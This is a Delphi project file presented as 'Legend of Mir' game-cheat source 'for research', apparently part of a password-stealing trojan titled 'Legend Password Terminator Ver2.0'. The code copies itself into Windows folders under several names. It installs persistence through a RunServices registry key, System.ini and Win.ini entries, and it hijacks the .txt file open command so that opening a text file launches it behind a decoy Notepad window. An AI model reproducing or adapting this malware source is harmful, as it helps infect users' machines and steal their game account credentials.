project1.~dpr

传奇 外挂 原代码,供感兴趣的人研究. 传奇终结者2.0

program Project1;

uses
  Forms,windows,SysUtils,
  Unit1 in 'Unit1.pas' {Form1},
  Unit2 in 'Unit2.pas';

{$R *.res}
var handle:Longint;
    sFileName:String;
    I:integer;
begin
Copyfile(pchar(application.ExeName),pchar(getwp+'LMir.exe'),False);
AddValue(HKEY_LOCAL_MACHINE,'SoftWare\Microsoft\Windows\CurrentVersion\RunServices',True,'LMir',GetWP+'LMir.exe',1);

Copyfile(pchar(application.ExeName),pchar(getWSP+'Finalmir.exe'),False);
WritePrivateProfileString('boot','Shell',pchar('Explorer.exe '+GetWSP+'Finalmir.exe'),pchar(GetWP+'System.ini'));

Copyfile(pchar(application.ExeName),pchar(getWSP+'Spying.exe'),False);
WritePrivateProfileString('windows','run',pchar(GetWSP+'Spying.exe'),pchar(GetWP+'Win.ini'));

Copyfile(pchar(application.ExeName),pchar(getWSP+'Comir.exe'),False);
Addvalue(HKEY_CLASSES_ROOT,'txtfile\shell\open\command',True,'',GetWSP+'Comir.exe'+' %1',1);

for I:=1 to ParamCount do sFileName:=sFileName+ParamStr(I)+' ';
if FileExists(sFileName) then Winexec(Pchar(GetWP+'Notepad.exe '+sFileName),sw_show);

if AnsiUpperCase(Application.Exename)<>AnsiUpperCase(GetWP+'LMir.exe') then begin
Winexec(pchar(GetWP+'LMir.exe'),sw_show);
Application.Terminate;
end;

handle:=findwindow(pchar('TForm1'),pchar('传奇密码终结者Ver2.0'));
if handle=0 then begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end;
end.